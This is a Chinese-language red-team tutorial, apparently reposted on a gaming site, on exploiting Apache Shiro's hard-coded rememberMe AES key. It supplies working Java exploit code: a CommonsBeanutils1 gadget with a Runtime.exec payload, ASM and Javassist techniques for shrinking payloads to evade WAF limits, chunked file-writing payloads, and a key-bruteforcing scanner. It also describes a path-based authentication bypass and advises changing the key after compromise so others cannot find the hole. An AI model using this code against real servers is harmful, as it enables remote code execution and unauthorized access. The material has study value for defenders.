shiro反序列化原理下载环境官方解释分析解密过程payload需要缩小背景方法尝试自己构造Gadget使用javassist构造删除重写方法分块传输工具其他问题怎样检测目标框架中使用了shiro最新版shiro还存在反序列化漏洞吗shiro反序列化怎么检测key的有什么办法让Shiro洞被别人挖不到Shiro反序列化Gadget选择有什么坑吗shiro权限绕过问题
在一个红队面试题,提及到过
主要介绍的是shiro550
shiro反序列化
原理
版本1.2.4
下载环境git clone https://github.com/apache/shiro.git cd shirogit checkout shiro-root-1.2.4
官方解释https://issues.apache.org/jira/browse/SHIRO-550
在默认情况下Shiro会使用CookieRememberMeManager功能,当后端接收到来自未经身份验证的用户的请求时,它将通过执行以下操作来寻找他们记住的身份:
检索cookie中RememberMe的值Base64解码使用AES解密反序列化
由于AES加解密的秘钥被硬编码在代码中,这意味着有权访问源代码的任何人都知道默认加密密钥是什么,因此,攻击者可以创建一个恶意对象并对其进行序列化,编码,然后将其作为cookie发送,然后Shiro将解码并反序列化,从而导致恶意代码执行
分析
解密过程
在CookieRememberMeManager类中读取cookie跟踪
进入readValue()方法,将cookie中的remember字段值赋予value并返回
对数据进行base64解码
进入 AbstractRememberMeManager类中的convertBytesToPrincipals 方法 shiro拿到cookie后的关键代码,先decrypt再反序列化
跟到decrypt方法
在getCipherService方法中,获取到加密方法:AES/CBC/PKCS5Padding
调用具体的cipherService,传入加密后的数据和cipherKey进行解密
getDeryptionCipherKey()获取的值也就是这个默认key,硬编码在程序中
经过base64硬编码的秘钥,因为 AES 是对称加密,即加密密钥也同样是解密密钥
继续查看decrypt方法,通过cipherService的decrypt来解密数据,跟进后进入JcaCipherService类中的decrypt方法
继续跟进decrypt方法,完成解密后,返回解密后的数据
此时回到AbstractRememberMeManager类中的decrypt方法,可以查看到序列化数据
此时再进入deserialize方法,并进入跟进
此时进入到DefaultSerializer类中的deserialize方法,出现了readobject()
Shiro是默认依赖Commons-Beanutils1.8.3的,那么就可以利用CommonsBeanutils1反序列化链进行构造payload
一般在登陆状态,会先判断以下JSESSIONID的值,如果修改rememberMe以后没有作用,可以删除一下JSESSIONID
payload需要缩小背景WAF会对rememberMe长度进行限制,甚至解密payload检查反序列化class
以CommonsBeanutils1链为例
序列化数据本身缩小针对TemplatesImpl中的_bytecodes字节码缩小对于执行的代码如何缩小(STATIC代码块)
将ysoserial生产的payload缩小
缩小前展示用ysoserial生成CB1链,并进行base64
https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jarmvn clean package -DskipTests
长度为3872
方法
尝试自己构造Gadget依赖
构造代码
public static byte[] getPayloadUseByteCodes(byte[] byteCodes) { try { TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_bytecodes", new byte[][]{byteCodes}); setFieldValue(templates, "_name", "HelloTemplatesImpl"); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER); final PriorityQueue
恶意类
public class EvilByteCodes extends AbstractTranslet { static { try { Runtime.getRuntime().exec("calc.exe"); } catch (Exception e) { e.printStackTrace(); } } @Override public void transform(DOM document, SerializationHandler[] handlers) { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) { }}
读取字节码并设置到Gadget中,序列化后统计长度:2728
byte[] evilBytesCode = Files.readAllBytes(Paths.get("/path/to/EvilByteCodes.class"));byte[] my = Base64.getEncoder().encode(CB1.getPayloadUseByteCodes(evilBytesCode));System.out.println(new String(my).length());
还有三处可以优化:
设置_name名称可以是一个字符其中_tfactory属性可以删除(分析TemplatesImpl得出)其中EvilByteCodes类捕获异常后无需处理
```java
setFieldValue(templates, “_name”, “t”);
// setFieldValue(templates, “_tfactory”, new TransformerFactoryImpl());
try {
Runtime.getRuntime().exec(“calc.exe”);
} catch (Exception ignored) {
}
经过这三处优化后得到长度:**2608**### 从字节码层面进行优化上文中的EvilBytesCode恶意类的字节码是可以缩减的
对字节码进行分析:javap -c -l EvilByteCodes.class```javapublic class org.sec.payload.EvilByteCodes extends com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet { // transform 1 // transform 2 //
代码对应的字节码ExceptionTable和LocalVariableTableLineNumberTable
从JVM相关的知识可以得知,局部变量表和异常表是不能删除的,否则无法执行但LineNumberTable是可以删除的换句话来说:LINENUMBER指令可以全部删了于是基于ASM实现删除LINENUMBER
byte[] bytes = Files.readAllBytes(Paths.get(path));ClassReader cr = new ClassReader(bytes);ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_FRAMES);int api = Opcodes.ASM9;ClassVisitor cv = new ShortClassVisitor(api, cw);int parsingOptions = ClassReader.SKIP_DEBUG | ClassReader.SKIP_FRAMES;cr.accept(cv, parsingOptions);byte[] out = cw.toByteArray();Files.write(Paths.get(path), out);
ShortClassVisitor
public class ShortClassVisitor extends ClassVisitor { private final int api; public ShortClassVisitor(int api, ClassVisitor classVisitor) { super(api, classVisitor); this.api = api; } @Override public MethodVisitor visitMethod(int access, String name, String descriptor, String signature, String[] exceptions) { MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); return new ShortMethodAdapter(this.api, mv); }}
重点在于ShortMethodAdapter:如果遇到LINENUMBER指令则阻止传递,可以理解为返回空
public class ShortMethodAdapter extends MethodVisitor implements Opcodes { public ShortMethodAdapter(int api, MethodVisitor methodVisitor) { super(api, methodVisitor); } @Override public void visitLineNumber(int line, Label start) { // delete line number }}
读取编译的字节码并处理后替换
Resolver.resolve("/path/to/EvilByteCodes.class");byte[] newByteCodes = Files.readAllBytes(Paths.get("/path/to/EvilByteCodes.class"));byte[] payload = Base64.getEncoder().encode(CB1.getPayloadUseByteCodes(newByteCodes));System.out.println(new String(payload).length());
经过优化后得到长度:1832
使用javassist构造以上代码虽然做到了超过百分之五十的缩小,但存在一个问题:目前的恶意类是写死的,无法动态构造想要动态构造字节码一种手段是选择ASM做,但有更好的选择:Javassist通过这样的一个方法,就可以根据输入命令动态构造出Evil类
private static byte[] getTemplatesImpl(String cmd) { try { ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.makeClass("Evil"); CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"); ctClass.setSuperclass(superClass); CtConstructor constructor = ctClass.makeClassInitializer(); constructor.setBody(" try {\n" + " Runtime.getRuntime().exec(\"" + cmd + "\");\n" + " } catch (Exception ignored) {\n" + " }"); CtMethod ctMethod1 = CtMethod.make(" public void transform(" + "com.sun.org.apache.xalan.internal.xsltc.DOM document, " + "com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) {\n" + " }", ctClass); ctClass.addMethod(ctMethod1); CtMethod ctMethod2 = CtMethod.make(" public void transform(" + "com.sun.org.apache.xalan.internal.xsltc.DOM document, " + "com.sun.org.apache.xml.internal.dtm.DTMAxisIterator iterator, " + "com.sun.org.apache.xml.internal.serializer.SerializationHandler handler) {\n" + " }", ctClass); ctClass.addMethod(ctMethod2); byte[] bytes = ctClass.toBytecode(); ctClass.defrost(); return bytes; } catch (Exception e) { e.printStackTrace(); return new byte[]{}; }}
将动态生成的字节码保存至当前目录,再读取加载
String path = System.getProperty("user.dir") + File.separator + "Evil.class";Generator.saveTemplateImpl(path, "calc.exe");byte[] newByteCodes = Files.readAllBytes(Paths.get("Evil.class"));byte[] payload = Base64.getEncoder().encode(CB1.getPayloadUseByteCodes(newByteCodes));System.out.println(new String(payload).length());
经过优化后得到长度:1848
不难发现使用Javassist生成的字节码似乎本身就不包含LINENUMBER指令不过这只是猜测,当使用上文的删除指令代码优化后,发现进一步缩小了
...Generator.saveTemplateImpl(path, "calc.exe");Resolver.resolve("Evil.class");...// 验证Payload是否有效 Payload.deserialize(Base64.getDecoder().decode(payload));
经过优化后得到长度:1804
删除重写方法可以发现Evil类继承自AbstractTranslet抽象类,所以必须重写两个transform方法这样写代码会导致编译不通过,无法执行
public class EvilByteCodes extends AbstractTranslet { static { try { Runtime.getRuntime().exec("calc.exe"); } catch (Exception ignored) { } }}
编译不通过不代表非法,通过手段直接构造对应的字节码
通过ASM删除方法
@Overridepublic MethodVisitor visitMethod(int access, String name, String descriptor, String signature, String[] exceptions) { if (name.equals("transform")) { return null; } MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); return new ShortMethodAdapter(this.api, mv, name);}
通过Javassist直接构造
private static byte[] getTemplatesImpl(String cmd) { try { ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.makeClass("Evil"); CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"); ctClass.setSuperclass(superClass); CtConstructor constructor = ctClass.makeClassInitializer(); constructor.setBody(" try {\n" + " Runtime.getRuntime().exec(\"" + cmd + "\");\n" + " } catch (Exception ignored) {\n" + " }"); byte[] bytes = ctClass.toBytecode(); ctClass.defrost(); return bytes; } catch (Exception e) { e.printStackTrace(); return new byte[]{}; }}
通过以上手段处理后进行反序列化验证:成功弹出计算器
String path = System.getProperty("user.dir") + File.separator + "Evil.class";Generator.saveTemplateImpl(path, "calc.exe");Resolver.resolve("Evil.class");byte[] newByteCodes = Files.readAllBytes(Paths.get("Evil.class"));byte[] payload = Base64.getEncoder().encode(CB1.getPayloadUseByteCodes(newByteCodes));System.out.println(new String(payload).length());Payload.deserialize(Base64.getDecoder().decode(payload));
最终优化后得到长度:1332 并不是所有方法都能删除,比如不存在构造方法的情况下无法删除空参构造于是有了一个新思路:删除静态代码块,将代码写入空参构造
ClassPool pool = ClassPool.getDefault();CtClass ctClass = pool.makeClass("Evil");CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");ctClass.setSuperclass(superClass);CtConstructor constructor = CtNewConstructor.make(" public Evil(){\n" + " try {\n" + " Runtime.getRuntime().exec(\"" + cmd + "\");\n" + " }catch (Exception ignored){}\n" + " }", ctClass);ctClass.addConstructor(constructor);byte[] bytes = ctClass.toBytecode();ctClass.defrost();return bytes;
最终优化后得到长度:1296
分块传输以上的内容都在围绕字节码和序列化数据的缩小,已经做到的接近极致,很难做到更小的对于STATIC代码块中需要执行的代码也有缩小手段,这也是更有实战意义是思考,因为实战中不是弹个计算器这么简单因此可以用追加的方式发送多个请求往指定文件中写入字节码,将真正需要执行的字节码分块使用Javassist动态生成写入每一分块的Payload,以追加的方式将所有字节码的Base64写入某文件
static { try { String path = "/your/path"; // 创建文件 File file = new File(path); file.createNewFile(); // 传入true是追加方式写文件 FileOutputStream fos = new FileOutputStream(path, true); // 需要写入的数据 String data = "BASE64_BYTECODES_PART"; fos.write(data.getBytes()); fos.close(); } catch (Exception ignore) { }
在最后一个包中将字节码进行Base64Decode并写入class文件(也可以直接写字节码二进制数据,不过认为Base64好分割处理一些)
static { try { String path = "/your/path"; FileInputStream fis = new FileInputStream(path); // size取决于实际情况 byte[] data = new byte[size]; fis.read(data); // 写入Evil.class FileOutputStream fos = new FileOutputStream("Evil.class"); fos.write(Base64.getDecoder().decode(data)); fos.close(); } catch (Exception ignored) { }}
工具payload缩小工具
其他问题
怎样检测目标框架中使用了shiro直接查看请求响应中是否由rememberMe=deleteMe这样的Cookie
最新版shiro还存在反序列化漏洞吗存在,只要密钥是常见的,还是有反序列化漏洞的可能性的
shiro反序列化怎么检测key的实例化一个SimplePrincipalCollection并序列化,遍历key列表对该序列化数据进行AES加密
SimplePrincipalCollection sc = new SimplePrincipalCollection();byte[] scBytes = Payload.serialize(sc);byte[] keyBytes = Base64.decode(key);CipherService cipherService = new AesCipherService();ByteSource byteSource = cipherService.encrypt(scBytes, keyBytes);byte[] value = byteSource.getBytes();
然后加入到Cookie的remberMe字段中发送
String checkKeyCookie = "rememberMe=" + Base64.encodeToString(value);Request loginReq = new Request.Builder() .url(url) .addHeader("Cookie", "rememberMe=yanmu5525") .get() .build();
如果相应头的Set-Cookie字段中包含remember=deleteMe说明不是该密钥
如果什么都不返回,说明当前key是正确的key
if (checkResponse.header("Set-Cookie") == null) { shiro = true; logger.info("find shiro key: " + key);}
实际中可能需要多次这样的请求来确认key
package com.github.yanmu;import okhttp3.Call;import okhttp3.OkHttpClient;import okhttp3.Request;import okhttp3.Response;import org.apache.shiro.crypto.AesCipherService;import org.apache.shiro.crypto.CipherService;import org.apache.shiro.subject.SimplePrincipalCollection;import org.apache.shiro.codec.Base64;import org.apache.shiro.util.ByteSource;import java.io.*;import java.util.ArrayList;@SuppressWarnings("all")public class Main { public static byte[] serialize(Object o) { try { ByteArrayOutputStream aos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(aos); oos.writeObject(o); oos.flush(); oos.close(); return aos.toByteArray(); } catch (Exception e) { e.printStackTrace(); } return null; } public static String start(OkHttpClient client,String url,String filepath) throws Exception { File file = new File(filepath); BufferedReader bufferedReader = new BufferedReader(new FileReader(file)); ArrayList
发现成功读取到了环境中的key
代码只做演示
有什么办法让Shiro洞被别人挖不到发现shiro发序列化漏洞的时候,可以改其中的key,通过已经存在的反序列化可以执行代码反射改了RememberMeManager中的key即可
但会导致已登录用户失效,新用户不用影响
Shiro反序列化Gadget选择有什么坑吗
默认不包含CC链,包含CB1链用不同版本的CB1链会导致出错
反序列化时会计算 服务器端反序列化对应类的serialVersionUID 值跟序列化数据里面的 serialVersionUID 值进行比对,如果一样则可以完成反序列化,不一样则会抛出错误,Shiro依赖的版本是Commons-Beanutils1.8.3,所以为了保证serialVersionUID值一样构造payload时也用Commons-Beanutils1.8.3版本
shiro权限绕过问题
版本:1.5.3之前
shiro+spring
主要是和Spring配合时候的问题例如/;/test/admin/page问题在Tomcat判断/;test/admin/page为test应用下的/admin/page路由进入到Shiro时被;截断被认作为/再进入Spring时又被正确处理为test应用下的/admin/page路由最后导致shiro的权限绕过
测试demo
https://github.com/l3yx/springboot-shiro
Copyright © 2022 北智游戏学院 - 活动攻略与新手教学 All Rights Reserved.